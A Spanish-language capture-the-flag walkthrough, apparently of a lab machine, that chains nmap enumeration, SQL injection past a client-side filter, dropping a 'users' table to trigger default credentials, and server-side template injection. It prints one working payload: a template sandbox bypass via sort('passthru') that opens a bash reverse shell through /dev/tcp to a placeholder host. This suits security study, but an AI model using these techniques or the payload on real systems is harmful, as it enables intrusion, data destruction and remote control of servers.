Enumeración
Para comenzar voy a realizar un escaneo de puertos con nmap:

Veo que se encuentran abiertos los puertos 22 y 80. Voy a ingresar en la página web para ver de qué se trata.

Al revisar el código fuente veo que hay una carpeta que almacena mails:

Al ingresar me encuentro con una lista de mails y contraseñas:

Por lo visto son credenciales predeterminadas que se configuran en caso de que la tabla ‘users’ sea eliminada.
En la barra de navegación hay una opción para loguearse, voy a hacer click ahí para intentar usar estas credenciales, pero no hubo caso. También probé una inyección simple como ‘ or 1=1 – pero no permite ingresar ciertas palabras clave como “or”, “and” o comillas.

Al revisar el código fuente vi que hay un archivo javascript el cual contiene el código que bloquea esas palabras clave y caracteres. Esto me hizo pensar que esa protección funciona solo del lado del cliente, con lo cual si uso burpsuite me puedo saltar esa protección ya que envió la petición directamente al servidor.
Lo que voy a hacer es interceptar la conexión con burpsuite y enviar una inyección simple:

Al probarla en repeater veo que tuvo éxito, así que voy a enviar la petición para ingresar.

Una vez dentro veo que tengo la posibilidad de editar la cantidad de medallas de cada país.

Lo que puedo hacer ahora es interceptar la petición con burpsuit y ver si puede ejecutar una secuencia para lograr eliminar la tabla ‘users’:

Y recibo el siguiente mensaje en el que se confirma la eliminación de la tabla:

Ahora es importante dirigirse a la sección de login admin para ingresar con las credenciales que se encuentran en /mail.log. Es importante hacerlo rápido ya que estas credenciales solo funcionan mientras la tabla ‘users’ este eliminada y por lo visto en el mensaje anterior la tabla se restaura en un máximo de 2 minutos.

Al dirigirme a la sección profile, veo que me permite modificar algunos datos como el nombre, y por lo que vi en la página del home al ingresar me devuelve un mensaje “Welcome, admin!”, voy a probar modificando el nombre por “{{7*7}}” para ver si es vulnerable a SSTI


Por lo visto es vulnerable a SSTI, voy a aprovechar esta vulnerabilidad para realizar una reverse Shell y así poder conectarme al puerto 22 de forma remota para obtener la bandera que resta.
Explotación
Por lo que pude comprobar la plantilla está en modo seguro, con lo cual hay muchas funciones que no me permite ejecutar. Buscando en internet encontré que puedo usar la función ‘passthru’ junto con el método ‘sort’ y de esta manera burlar la seguridad.
Voy a ingresar el siguiente comando para realizar la reverse Shell (previamente cree un puerto de escucha con netcat):
{{ ['bash -c "bash -i >& /dev/tcp/{tu_ip}/{tu_puerto} 0>&1"', '']|sort('passthru') }}
Al darle en ‘submit’ y actualizar el home se establece la conexión:


Ahora solo resta hallar la bandera:

Espero que este tutorial te haya ayudado!